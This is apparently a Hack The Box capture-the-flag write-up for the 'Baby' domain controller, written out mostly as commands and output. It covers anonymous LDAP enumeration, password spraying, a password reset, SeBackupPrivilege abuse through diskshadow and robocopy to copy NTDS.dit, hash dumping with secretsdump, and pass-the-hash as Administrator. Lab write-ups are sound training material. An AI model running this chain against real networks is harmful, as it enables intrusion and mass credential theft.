Post

HTB Baby CTF Writeup

Unauthenticated LDAP enumeration reveals a plaintext password in a user description field. A password spray uncovers an account flagged STATUS_PASSWORD_MUST_CHANGE, and after resetting it, SeBackupPrivilege is abused to dump NTDS.dit via diskshadow and robocopy, yielding the Administrator hash.

HTB Baby CTF Writeup

HTB Baby CTF

Notes

Kerberos, SMB, LDAP, RDP open

BabyDC.baby.vl (computer dns name)

baby.vl (domain name)

SMB Enumeration

DOes not allow for null authentication

LDAP Enumeration

Allows for unauthenticated access! I ran:

1
2
3
$ nxc ldap 10.129.254.167 -u '' -p '' 
LDAP        10.129.254.167  389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.254.167  389    BABYDC           [+] baby.vl\:

To confirm the access, I enumerated users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nxc ldap 10.129.254.167 -u '' -p '' --users
LDAP        10.129.254.167  389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.254.167  389    BABYDC           [+] baby.vl\: 
LDAP        10.129.254.167  389    BABYDC           [*] Enumerated 9 domain users: baby.vl
LDAP        10.129.254.167  389    BABYDC           -Username-                    -Last PW Set-       -BadPW-  -Description-                                                                
LDAP        10.129.254.167  389    BABYDC           Guest                         <never>             0        Built-in account for guest access to the computer/domain                     
LDAP        10.129.254.167  389    BABYDC           Jacqueline.Barnett            2021-11-21 10:11:03 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Ashley.Webb                   2021-11-21 10:11:03 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Hugh.George                   2021-11-21 10:11:03 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Leonard.Dyer                  2021-11-21 10:11:03 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Connor.Wilkinson              2021-11-21 10:11:08 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Joseph.Hughes                 2021-11-21 10:11:08 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Kerry.Wilson                  2021-11-21 10:11:08 0                                                                                     
LDAP        10.129.254.167  389    BABYDC           Teresa.Bell                   2021-11-21 10:14:37 0        Set initial password to BabyStart123!

And to my surprise, in Teresa.Bell’s user description field (as you can see from the output above), we can see a (very) helpful message:

1
Set initial password to BabyStart123!

You could also use a module in netexec (get-desc-users) to enumerate for the description field:

1
2
3
4
5
6
$ nxc ldap 10.129.254.167 -u '' -p '' -M get-desc-users 
LDAP        10.129.254.167  389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.254.167  389    BABYDC           [+] baby.vl\: 
GET-DESC... 10.129.254.167  389    BABYDC           [+] Found following users: 
GET-DESC... 10.129.254.167  389    BABYDC           User: Guest description: Built-in account for guest access to the computer/domain                                                       
GET-DESC... 10.129.254.167  389    BABYDC           User: Teresa.Bell description: Set initial password to BabyStart123!

I used the users-export flag in netexec to save users to a local file (users.txt):

1
$ nxc ldap 10.129.254.167 -u '' -p '' --users-export users.txt

I saved the password for teresa.bell to a file named “passwords.txt”.

I performed a password spraying attack to see if any user uses the same password, but got no results:

1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.254.167 -u users.txt -p passwords.txt 
SMB         10.129.254.167  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE

At this moment, I got stuck for a long time. I tried authenticating in different services like SMB, LDAP, WINRM, RDP, I also tried with Kerberos, but nothing worked.

After some time with absolutely no lead, I decided to look closer into the only thing I had access to in the machine at the moment which was LDAP.

It turns out NetExec didn’t return all users because I queried the domain anonymously, and the DC’s LDAP ACLs allowed me to see each object’s DN but hid key attributes (e.g., sAMAccountName, userPrincipalName, pwdLastSet) for some accounts.

Meanwhile, ldapsearch still shows those objects as DN-only “skeletons,” while NetExec’s --users output relies on those readable attributes to print a user record, so when it can’t read them it simply omits the entry—hence ldapsearch appeared “full,” but NetExec skipped users like Caroline whose attributes weren’t readable to anonymous.

A full dump command would look like this:

1
ldapsearch -x -H ldap://10.129.254.167 -D '' -w '' -b "dc=baby,dc=vl"

Querying for group members:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ldapsearch -x -H ldap://10.129.254.167 -b "CN=Users,DC=baby,DC=vl" '(objectClass=group)' cn member

<SNIP>

# dev, Users, baby.vl
dn: CN=dev,CN=Users,DC=baby,DC=vl
cn: dev
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl

# it, Users, baby.vl
dn: CN=it,CN=Users,DC=baby,DC=vl
cn: it
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl

<SNIP>

It’s possible to see two new users:

1
2
Ian Walker
Caroline Robinson

I added those two more entries to my users.txt file (following the name convention name.lastname):

1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat users.txt 

Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Caroline.Robinson
Ian.Walker

Running a password spray again, now I see a different error message for Caroline Robinson:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nxc smb 10.129.254.167 -u users.txt -p passwords.txt 
SMB         10.129.254.167  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
SMB         10.129.254.167  445    BABYDC           [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE

More specifically,

1
STATUS_PASSWORD_MUST_CHANGE

Which means the credentials are correct but the account is flagged to change its password on next logon. To change the password for caroline,

1
2
3
4
5
$ smbpasswd -r 10.129.254.167 -U caroline.robinson
Old SMB password: BabyStart123!
New SMB password: Password123!
Retype new SMB password: Password123!
Password changed for user caroline.robinson

I used Password123! because it meets the password complexity requirements. I tried using something else, less secure, and it didn’t work.

This time it actually authenticated:

1
2
3
4
5
6
7
8
9
10
11
$ nxc smb 10.129.254.167 -u caroline.robinson -p 'Password123!' --shares
SMB         10.129.254.167  445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.129.254.167  445    BABYDC           [+] baby.vl\caroline.robinson:Password123!
SMB         10.129.254.167  445    BABYDC           [*] Enumerated shares
SMB         10.129.254.167  445    BABYDC           Share           Permissions     Remark
SMB         10.129.254.167  445    BABYDC           -----           -----------     ------
SMB         10.129.254.167  445    BABYDC           ADMIN$          READ            Remote Admin                                                                                            
SMB         10.129.254.167  445    BABYDC           C$              READ,WRITE      Default share                                                                                           
SMB         10.129.254.167  445    BABYDC           IPC$            READ            Remote IPC
SMB         10.129.254.167  445    BABYDC           NETLOGON        READ            Logon server share                                                                                      
SMB         10.129.254.167  445    BABYDC           SYSVOL          READ            Logon server share

I could log in as caroline.robinson via winrm:

1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i 10.129.254.167 -u caroline.robinson -p 'Password123!'
                                      
Evil-WinRM shell v3.7
                                      
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                     
                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                                                       
                                      
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

Vertical Privilege Escalation

The user “caroline.robinson” has SeBackupPrivilege enabled

1
2
3
4
5
> whoami /priv

<SNIP>

SeBackupPrivilege             Back up files and directories  Enabled

There are a few ways to go with this, but I decided to simply get the SYSTEM and SAM hives:

1
2
3
4
5
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save HKLM\SAM SAM.SAV
The operation completed successfully.

*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> reg save HKLM\SYSTEM SYSTEM.SAV
The operation completed successfully.

Then download the hives

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download system.sav
                                      
Info: Downloading C:\Users\Caroline.Robinson\Documents\system.sav to system.sav
                                      
Info: Download successful!
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> download sam.sav
                                      
Info: Downloading C:\Users\Caroline.Robinson\Documents\sam.sav to sam.sav
                                      
Info: Download successful!

Use secretsdump to dump the hashes:

1
2
3
4
5
6
7
8
9
$ secretsdump.py local -sam sam.sav -system system.sav 
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

However this does not gives us access as admin.

To get NTDS.dit (the main AD database in a DC) I decided to use robocopy with diskshadow.

For some reason, every time I created the file with instructions for the backup in my local machine and made the transfer to the victim machine via methods like a simply python http server or even the upload feature in evil-winrm, it basically fails to proceed with the backup.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow.exe /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/19/2025 6:52:44 PM

-> set verbose o

SET VERBOSE { ON | OFF }

        ON                      Turn on verbose mode. This provides information about writer inclusion/exclusion.
        OFF                     Turn off verbose mode.

        Example: SET VERBOSE ON

Even though backup.txt is completely fine:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> type backup.txt
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit

I needed to create the file directly via powershell:

1
2
3
4
5
6
7
8
9
10
11
$Out = '.\backup.txt'
Set-Content -Path $Out -Value 'set verbose on'                          -Encoding Ascii
Add-Content -Path $Out -Value 'set metadata C:\Windows\Temp\meta.cab'   -Encoding Ascii
Add-Content -Path $Out -Value 'set context clientaccessible'            -Encoding Ascii
Add-Content -Path $Out -Value 'set context persistent'                  -Encoding Ascii
Add-Content -Path $Out -Value 'begin backup'                            -Encoding Ascii
Add-Content -Path $Out -Value 'add volume C: alias cdrive'              -Encoding Ascii
Add-Content -Path $Out -Value 'create'                                  -Encoding Ascii
Add-Content -Path $Out -Value 'expose %cdrive% E:'                      -Encoding Ascii
Add-Content -Path $Out -Value 'end backup'                              -Encoding Ascii
Add-Content -Path $Out -Value 'exit'                                    -Encoding Ascii

And run again to complete the backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow.exe /s backup.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  9/19/2025 7:08:32 PM

-> set verbose on
-> set metadata C:\Windows\Temp\meta.cab
-> set context clientaccessible
-> set context persistent
-> begin backup
-> add volume C: alias cdrive
-> create
Excluding writer "Shadow Copy Optimization Writer", because all of its components have been excluded.

<SNIP>

To copy NTDS.dit, we use robocopy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> robocopy /B E:\Windows\NTDS .\ntds ntds.dit

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Friday, September 19, 2025 7:51:04 PM
   Source : E:\Windows\NTDS\
     Dest : C:\Users\Caroline.Robinson\Documents\ntds\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

          New Dir          1    E:\Windows\NTDS\
            New File              16.0 m        ntds.dit
  0.0%
  0.3%
  0.7%
  1.1%

<SNIP>

With that we can use secretsdump again but this time against the ntds file to dump secrets from the AD environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ secretsdump.py local -ntds ntds.dit -system system.sav 
Impacket v0.13.0.dev0+20250710.92041.bf2d749 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
baby.vl\Jacqueline.Barnett:1104:aad3b435b51404eeaad3b435b51404ee:20b8853f7aa61297bfbc5ed2ab34aed8:::
baby.vl\Ashley.Webb:1105:aad3b435b51404eeaad3b435b51404ee:02e8841e1a2c6c0fa1f0becac4161f89:::
baby.vl\Hugh.George:1106:aad3b435b51404eeaad3b435b51404ee:f0082574cc663783afdbc8f35b6da3a1:::
baby.vl\Leonard.Dyer:1107:aad3b435b51404eeaad3b435b51404ee:b3b2f9c6640566d13bf25ac448f560d2:::
baby.vl\Ian.Walker:1108:aad3b435b51404eeaad3b435b51404ee:0e440fd30bebc2c524eaaed6b17bcd5c:::
baby.vl\Connor.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:e125345993f6258861fb184f1a8522c9:::
baby.vl\Joseph.Hughes:1112:aad3b435b51404eeaad3b435b51404ee:31f12d52063773769e2ea5723e78f17f:::
baby.vl\Kerry.Wilson:1113:aad3b435b51404eeaad3b435b51404ee:181154d0dbea8cc061731803e601d1e4:::
baby.vl\Teresa.Bell:1114:aad3b435b51404eeaad3b435b51404ee:7735283d187b758f45c0565e22dc20d8:::
baby.vl\Caroline.Robinson:1115:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

And this time it’s possible to log in via winrm as administrator using PtH

1
$ evil-winrm -i 10.129.254.167 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
This post is licensed under CC BY 4.0 by the author.